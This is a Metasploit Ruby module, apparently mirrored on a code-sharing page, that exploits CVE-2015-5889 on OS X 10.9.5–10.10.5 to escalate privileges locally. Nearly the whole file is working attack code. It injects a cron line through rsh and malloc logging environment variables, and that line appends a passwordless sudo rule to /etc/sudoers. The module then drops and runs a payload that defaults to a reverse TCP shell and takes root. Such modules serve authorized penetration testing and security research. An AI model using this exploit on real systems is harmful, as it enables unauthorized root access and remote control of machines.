Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/osx/local/rsh_libmalloc.rb
19758 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = NormalRanking
8
9
include Msf::Post::File
10
include Msf::Post::OSX::Priv
11
include Msf::Post::OSX::System
12
include Msf::Exploit::EXE
13
include Msf::Exploit::FileDropper
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'Mac OS X 10.9.5 / 10.10.5 - rsh/libmalloc Privilege Escalation',
20
'Description' => %q{
21
This module writes to the sudoers file without root access by exploiting rsh and malloc log files.
22
Makes sudo require no password, giving access to su even if root is disabled.
23
Works on OS X 10.9.5 to 10.10.5 (patched on 10.11).
24
},
25
'Author' => [
26
'rebel', # Vulnerability discovery and PoC
27
'shandelman116' # Copy/paste AND translator monkey
28
],
29
'References' => [
30
['EDB', '38371'],
31
['CVE', '2015-5889']
32
],
33
'DisclosureDate' => '2015-10-01',
34
'License' => MSF_LICENSE,
35
# Want to ensure that this can be used on Python Meterpreter sessions as well
36
'Platform' => ['osx', 'python'],
37
'Arch' => [ARCH_X64, ARCH_PYTHON],
38
'SessionTypes' => ['shell', 'meterpreter'],
39
'Privileged' => true,
40
'Targets' => [
41
['Mac OS X 10.9.5-10.10.5', {}]
42
],
43
'DefaultTarget' => 0,
44
'DefaultOptions' => {
45
'PAYLOAD' => 'osx/x64/shell_reverse_tcp'
46
},
47
'Notes' => {
48
'Reliability' => UNKNOWN_RELIABILITY,
49
'Stability' => UNKNOWN_STABILITY,
50
'SideEffects' => UNKNOWN_SIDE_EFFECTS
51
}
52
)
53
)
54
55
register_options [
56
OptInt.new('WaitTime', [true, 'Seconds to wait for exploit to work', 60]),
57
OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
58
]
59
end
60
61
def base_dir
62
datastore['WritableDir'].to_s
63
end
64
65
def exploit
66
if is_root?
67
fail_with Failure::BadConfig, 'Session already has root privileges'
68
end
69
70
unless writable? base_dir
71
fail_with Failure::BadConfig, "#{base_dir} is not writable"
72
end
73
74
# Check OS
75
os_check
76
77
# Check if crontab file existed already so it can be restored at cleanup
78
if file_exist? "/etc/crontab"
79
@crontab_original = read_file("/etc/crontab")
80
else
81
@crontab_original = nil
82
end
83
84
# Writing payload
85
if payload.arch.include?(ARCH_X64)
86
vprint_status("Writing payload to #{payload_file}.")
87
write_file(payload_file, payload_source)
88
vprint_status("Finished writing payload file.")
89
register_file_for_cleanup(payload_file)
90
elsif payload.arch.include?(ARCH_PYTHON)
91
vprint_status("No need to write payload. Will simply execute after exploit")
92
vprint_status("Payload encodeded is #{payload.encoded}")
93
end
94
95
# Run exploit
96
sploit
97
98
# Execute payload
99
print_status('Executing payload...')
100
if payload.arch.include?(ARCH_X64)
101
cmd_exec("chmod +x #{payload_file}; #{payload_file} & disown")
102
elsif payload.arch.include?(ARCH_PYTHON)
103
cmd_exec("python -c \"#{payload.encoded}\" & disown")
104
end
105
vprint_status("Finished executing payload.")
106
end
107
108
def os_check
109
# Get sysinfo
110
sysinfo = get_sysinfo
111
# Make sure its OS X (Darwin)
112
unless sysinfo["Kernel"].include? "Darwin"
113
print_warning("The target system does not appear to be running OS X!")
114
print_warning("Kernel information: #{sysinfo['Kernel']}")
115
return
116
end
117
# Make sure its not greater than 10.5 or less than 9.5
118
version = sysinfo["ProductVersion"]
119
minor_version = version[3...version.length].to_f
120
unless minor_version >= 9.5 && minor_version <= 10.5
121
print_warning("The target version of OS X does not appear to be compatible with the exploit!")
122
print_warning("Target is running OS X #{sysinfo['ProductVersion']}")
123
end
124
end
125
126
def sploit
127
user = cmd_exec("whoami").chomp
128
vprint_status("The current effective user is #{user}. Starting the sploit")
129
# Get size of sudoers file
130
sudoer_path = "/etc/sudoers"
131
size = get_stat_size(sudoer_path)
132
133
# Set up the environment and command for spawning rsh and writing to crontab file
134
rb_script = "e={\"MallocLogFile\"=>\"/etc/crontab\",\"MallocStackLogging\"=>\"yes\",\"MallocStackLoggingDirectory\"=>\"a\n* * * * * root echo \\\"ALL ALL=(ALL) NOPASSWD: ALL\\\" >> /etc/sudoers\n\n\n\n\n\"}; Process.spawn(e,[\"/usr/bin/rsh\",\"rsh\"],\"localhost\",[:out, :err]=>\"/dev/null\")"
135
rb_cmd = "ruby -e '#{rb_script}'"
136
137
# Attempt to execute
138
print_status("Attempting to write /etc/crontab...")
139
cmd_exec(rb_cmd)
140
vprint_status("Now to check whether the script worked...")
141
142
# Check whether it worked
143
crontab = read_file("/etc/crontab")
144
vprint_status("Reading crontab yielded the following response: #{crontab}")
145
unless crontab.include? "ALL ALL=(ALL) NOPASSWD: ALL"
146
vprint_error("Bad news... it did not write to the file.")
147
fail_with(Failure::NotVulnerable, "Could not successfully write to crontab file.")
148
end
149
150
print_good("Succesfully wrote to crontab file!")
151
152
# Wait for sudoers to change
153
new_size = get_stat_size(sudoer_path)
154
print_status("Waiting for sudoers file to change...")
155
156
# Start timeout block
157
begin
158
Timeout.timeout(datastore['WaitTime']) {
159
while new_size <= size
160
Rex.sleep(1)
161
new_size = get_stat_size(sudoer_path)
162
end
163
}
164
rescue Timeout::Error
165
fail_with(Failure::TimeoutExpired, "Sudoers file size has still not changed after waiting the maximum amount of time. Try increasing WaitTime.")
166
end
167
print_good("Sudoers file has changed!")
168
169
# Confirming root access
170
print_status("Attempting to start root shell...")
171
cmd_exec("sudo -s su")
172
user = cmd_exec("whoami")
173
unless user.include? "root"
174
fail_with(Failure::UnexpectedReply, "Unable to acquire root access. Whoami returned: #{user}")
175
end
176
print_good("Success! Acquired root access!")
177
end
178
179
def get_stat_size(file_path)
180
cmd = "env -i [$(stat -s #{file_path})] bash -c 'echo $st_size'"
181
response = cmd_exec(cmd)
182
vprint_status("Response to stat size query is #{response}")
183
begin
184
size = Integer(response)
185
return size
186
rescue ArgumentError
187
fail_with(Failure::UnexpectedReply, "Could not get stat size!")
188
end
189
end
190
191
def payload_source
192
if payload.arch.include?(ARCH_X64)
193
return Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
194
elsif payload.arch.include?(ARCH_PYTHON)
195
return payload.encoded
196
end
197
end
198
199
def payload_file
200
@payload_file ||= "#{base_dir}/#{Rex::Text.rand_text_alpha(8)}"
201
end
202
203
def cleanup
204
vprint_status("Starting the cron restore process...")
205
super
206
# Restore crontab back to is original state
207
# If we don't do this, then cron will continue to append the no password rule to sudoers.
208
if @crontab_original.nil?
209
# Erase crontab file and kill cron process since it did not exist before
210
vprint_status("Killing cron process and removing crontab file since it did not exist prior to exploit.")
211
rm_ret = cmd_exec("rm /etc/crontab 2>/dev/null; echo $?")
212
if rm_ret.chomp.to_i == 0
213
vprint_good("Successfully removed crontab file!")
214
else
215
print_warning("Could not remove crontab file.")
216
end
217
Rex.sleep(1)
218
kill_ret = cmd_exec("killall cron 2>/dev/null; echo $?")
219
if kill_ret.chomp.to_i == 0
220
vprint_good("Succesfully killed cron!")
221
else
222
print_warning("Could not kill cron process.")
223
end
224
else
225
# Write back the original content of crontab
226
vprint_status("Restoring crontab file back to original contents. No need for it anymore.")
227
cmd_exec("echo '#{@crontab_original}' > /etc/crontab")
228
end
229
vprint_status("Finished the cleanup process.")
230
end
231
end
232
233